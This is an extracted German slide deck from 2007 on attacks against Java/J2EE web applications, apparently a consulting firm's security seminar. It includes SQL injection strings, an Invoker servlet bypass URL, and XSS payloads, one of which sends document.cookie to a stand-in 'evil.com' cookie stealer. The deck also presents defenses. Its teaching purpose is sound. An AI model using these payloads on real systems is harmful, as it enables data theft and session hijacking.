38
Dr. Bruce Sams, GF OPTIMA [email protected] www.optimabit.de

Dr. Bruce Sams, GF OPTIMA [email protected] www

  • Upload
    others

  • View
    0

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Dr. Bruce Sams, GF OPTIMA

[email protected] www.optimabit.de

Page 2: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Über OPTIMAOPTIMA Business Information Technology GmbH isteine Beratungsfirma, spezialisiert auf

Applikationssicherheit und -Entwicklung für

Web Apps

SOA, Web Services & XML

PKI, Identity Management

Single-Sign-On

Wir schaffen Sichere Systeme.

Page 3: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Definition: Application SecurityModerne Anwendungen sindmodular, komplex undvielschichtig.

Fehler im

Design / Architektur

Implementierung

Deployment & Konfiguration

lassen Schwachstellen fürAngriffe.

Page 4: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Applikationen sind das Hauptproblem!Circa 77% allerSicherheitsprobleme stammenaus Applikationen!

Gründe:

Kein Sicherheitskonzept für dieArchitektur und die Integrationder Anwendung.

Entwickler und Managerverstehen sich als nicht für dieSicherheit verantwortlich.

Fehler bei der Entwicklung, derKonfiguration und demDeployment.

Quelle: NIST

Source of Security Vulnerabilites

0

5

10

15

20

25

30

35

40

45

Appl

icat

ion

(Clie

nt)

Appl

icat

ion

(Ser

ver)

Ope

ratin

gS

yste

m

Har

dwar

e

Com

mun

icat

ion

Pro

toco

l

Oth

er

Net

wor

kS

tack

Cry

ptog

raph

y

Page 5: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Erkenne den Feind!

25

28

40

77

82

0 20 40 60 80 100

ForeignCorporations

ForeignGovernments

NationalCompetitors

DisgruntledEmployees

HackersUnbekannteHacker

Angestellte

Konkurrenz

Regierungen

Quelle: CSI/FBI Computer Crime Survey 2005( ~ 500 Companies responding)

Percent

Page 6: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Sicherheit braucht Know-How

•IDS•IPSEC•Audits

Perimeter Network AppServer

Application

•Firewall•VPN

•Cryptography•Administration

Data Storage

Sicherheitsprobleme in Anwendungen können nur mitKnow-How beseitigt werden.

Produkten Know-How

•Config•Patch•Login

•Coding•Architecture•Integration

Dieser Bereich kann nur mit KNOW-HOW, NICHT mit Produktengesichert werden!

Zu verteidigenderBereich

Technologien

Sichern mit...

Page 7: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Verteidigungen, die nicht funktionieren

IDS Firewall

SSL

Page 8: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Hohe Kosten für eine späte KorrekturDie Kosten für eineKorrektur der Softwaresteigen mit der Zeit sehrschnell an.

(belegt durch mehrere Studien)

Fazit: Es ist viel günstiger,für Sicherheit bereits beider Entwicklung zubezahlen, als später.

Cos

t

TimeAnalysis Design Implementation Release Maintenance

1

10

20

30

40

50

Quellen: IBM, NCSP, US-BSI, usw.

Page 9: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Angriffe auf Java & J2EEHacking Cars-Online

Page 10: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Die Applikation"Cars-Online" ist eine J2EE Applikation, basierend aufServlets, JSPs und einer Datenbank.

Architektur wie Struts (Controller, Action)

Viele der Angriffe funktionieren auch gegen .NET Applikationen

Software Umgebung:

Tomcat 4.1.27

HypersonicSQL 1.7

Page 11: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Angriffe auf Applikationslogik

Page 12: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Angriff 1: ApplikationslogikOrder ID ist nicht wirklich "zufällig".

Angriff: Andere Order Id erraten, um zu erfahren, wasandere Benutzer bestellt haben.

FORM = "AD4X" + Counter + "N"

Beispiel: AD4X1373N

Order für Bill Gates.

Lustig! Aber wie wäre es mit dem Krankenbild einesPatienten?

Page 13: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Angriffe aufServerkonfiguration

Page 14: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Angriff 2a: KonfigurationDas Problem:

Jeder Web Container hat seine eigenen Wege, wichtigeKonfigurationen wie Directory Browsing zu kontrollieren.

Die Lösung: eigenes DefaultServlet

Sie nehmen die Konfiguration selbst in die Hand. So sind IhreWeb-Applikationen immun gegen Probleme der

Portierung

Konfiguration

Administration

Page 15: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Default Servletpublic class DefaultServlet extends HttpServlet {

public void doPost(HttpServletRequest req,HttpServletResponse res)throws ServletException, IOException {

String context = req.getContextPath();res.sendRedirect(context + "/error/default.jsp");

}

...

}

Dieses Servlet leitet direktzu einem ErrorPage

Page 16: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Beispiel: Sichere Konfiguration<servlet>

<servlet-name>MyDefault</servlet-name><servlet-class>org.x.DefaultServlet</servlet-class>

</servlet>

<servlet-mapping><servlet-name>MyDefault</servlet-name><url-pattern>/</url-pattern>

</servlet-mapping>

Dieses Servlet leitet direktzu einem ErrorPage

Mapping zum "/"

Page 17: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Angriffe auf Datenbanken

Page 18: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Was ist SQL Injection?SQL Injection bedeutet SQL Ausdrücke am Client zuformulieren und dem Server "einzuspritzen".

SQL-Injektion basiert hauptsächlich auf

Implementierungs-Logik,SELECT, INSERT, StoredProcedures

Page 19: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

SQL Injection (1 = 1 Angriff)Der Angreifer erzeugt einen String, der die vermeinteSELECT-Kriterien aushebelt.

Beispeil: Ein E-Business mit online Verkaufübernimmt eine Bestellnummer vom Anwender undbaut daraus:

SELECT * FROM orders WHERE ORDERID = XXX

Ein Angreifer gibt folgendes ein:123456' OR '1'='1

Dieser Ausdruck ist für jede Reihe in der Tabelle Wahr.

Page 20: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

SQL Injection (Ausdruck-Verkettung)Viele SQL-Dialekte erlauben es, mehrere SQL-Ausdrücke mittels ";" zu verketten.

Der Angreifer hängt ein "extra" SQL-Befehl an einenormale Eingabe an. Z.B.

Vermutung: SQL Ausdruck wie

"SELECT * FROM PRODUCTSWHERE DESCRIPTION LIKE '%" + XXX + "%'";

Angriff versuchen wo "XXX" istLambo%'; UPDATE PRODUCTS SET PRICE=1.0 WHEREDESCRIPTION LIKE '%Lambo

Page 21: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Angriffe auf Sessions

Page 22: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Session Hijacking

Client 1

Server

Client N

.

.

.

Session C1

Session CN

Zustand C1Zustand CN

sid = ABJ78

sid = ABJ78

sid =12UIOR

sid =12UIOR

Eine Session speichertInformation als Instanzenvon JavaBeans.

Die Session ID wird mitjedem Request übertragen.

Evil Hacksid = ABJ78

Session Hijacking!

Page 23: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Session HijackingTeillösungen:

Mit <session-timeout> in der web.xml können Sie alteSessions automatisch löschen, z.B.

<session-timeout>10</session-timeout>

Die Applikation kann eine "logout" Möglichkeit haben.

Die Session ID gegen Client IP überprüfen. (Problem mitProxies). Servlet Filter API ist für dieses Problem gut.

Lösung:

Sichere Verbindung mit HTTPS.

Page 24: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Trennung von Sicheren VerbindungenNeues Problem:

Ein Benutzer wechselt sein Protokoll von HTTPS auf HTTP.

Neue Lösungen:

Die GESAMTE Applikation muss unter HTTPS sein.

Die Session muß gelöscht bzw. modifiziert werden.

Page 25: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Cross-Site Scripting

Page 26: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Was ist Cross Site Scripting?Cross Site Scripting (XSS) nutzt die Ausführung vonJavaScript in HTMP Seiten, um Session-Informationvon Clients zu stehlen.

Grundlagen:

JavaScript wird im Browser "ausgeführt", wo auch immer eserscheint.

Die Website gibt Benutzereingabe wieder aus, ohne diese erstzu "bereinigen"

Es braucht mindestens 3 Parteien

Page 27: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Was ist Cross Site Scripting?JavaScript Ausdrücke werden vom Angreifer inEingabefeldern plaziert.

Auswertung geschieht nicht am Server sondern amattakierten Client.

HTML-Form Server

BusinessLogicInput field

Angreifer gibt JavaScriptein.

Business Logic spiegeltEingabe zurück.

Page 28: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

XSS AngriffAngenommen, wir rufen eine Website auf über HTTP:

GET/myservlet?name=<script> ... </script> HTTP/1.0Host: www.schwachstelle.de

...

Der Server antwortet mit:<HTML><body>Hallo, <script> ... </script> !...</HTML>

Page 29: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Angriff 4: Cross-Site ScriptingMittels Cross-Site Scripting (XSS) können Angreiferdie Cookies und SessionIDs Ihrer Kunden stehlen.

Vulnerability: Die Applikation gibt Benutzereingabe inHTML ungefiltert zurück.

Dear <%= request.getParameter("name") %>, Thank youfor your order.

Angriff versuchen wo „name" ist<script>alert(document.cookie)</script>

Page 30: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

XSS Angriff (2)Andere Strings können benutzt werden, um den Wertdes Cookies weiterzuleiten, z.B,:

<script>window.open("http://www.evil.com/cookiestealer?cookie="+document.cookie)</script>

Client Server

Angreifer

2) Angreifer sendetMail an Client

1) Client benutzt Server

4) JavaScript sendetCookie an Angreifer

3) Client ruft Servermit JavaScript auf

Page 31: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Sicherheitseinstellungenumgehen

Page 32: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Interceptors und Sicherheit

Page 33: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Invoker ServletDas Invoker Servlet bietet einen Weg, ein Servlet überseine FQN aufzurufen.

Man benutzt den "servlet" context und dann den FQN derKlasse:http://server:port/servlet/com.example.FooController

Das Invoker Servlet ist aus Kompatibilitätsgründen immer nochin vielen Containern vorhanden.

WARNUNG!

Servlets, die über den Invoker aufgerufen werden, ignorierendie <security-constraints> in der web.xml

Page 34: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Angriff 6: Invoker ServletDer Angreifer ruft den Kontroller direkt auf.

Setzen:

name : Hugoaddress : Foostr123ccnumber : 12345product : Ferrariquantity : 3shipping : DHL

#der komplette Aufruf!

http://192.168.1.26:8080/websales/servlet/web.sales.ControllerServlet?action=confirm&name=Hugo&address=Foostr123&ccnumber=12345&product=Ferrari&quantity=3&shipping=DHL

Page 35: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Defense in DepthDie "Defense in Depth" Strategie beschreibt einvielschichtiges Sicherheitskonzept.

Viele Schichten erschweren einen kompletten Durchbruch.

Schichten in alten Schlössern:

Wasser & Terrain

Zugbrücke

Steinmauer, Brüstungen

Kochendes Öl, Pfeile

Rettungsturm

Page 36: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

Security Assurance Maßnahmen1. Policies und Guidelines

2. Hardening Guides

3. Code & Architektur Review

4. Penetration Test

5. Entwicklung von Sicherheitskonzepten &Lösungen

6. Weiterbildung für Entwickler und Manager

7. Sicheres Outsourcing

8. Sicherheit im Entwicklungsprozess(sicheres SDLC)

Page 37: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

DiensteAuditierung und Review

•Architektur Review•Code Review•Penetration Test

Strategische Maßnahmen

•Policies•Integration von Sicherheit in der Entwicklung•Seminare und "Awareness" Veranstaltungen

Projektunterstützung

•Projektbegleitung und -Beratung•Entwicklung von Sicherheitskonzepten•Entwickler Guidelines

Page 38: Dr. Bruce Sams, GF OPTIMA bruce.sams@optimabit.de www

Copyright Dr. Bruce J. Sams and OPTIMAbit GmbH 2007

ZusammenfassungDanke für die Aufmerksamkeit!

KONTAKT:

[email protected]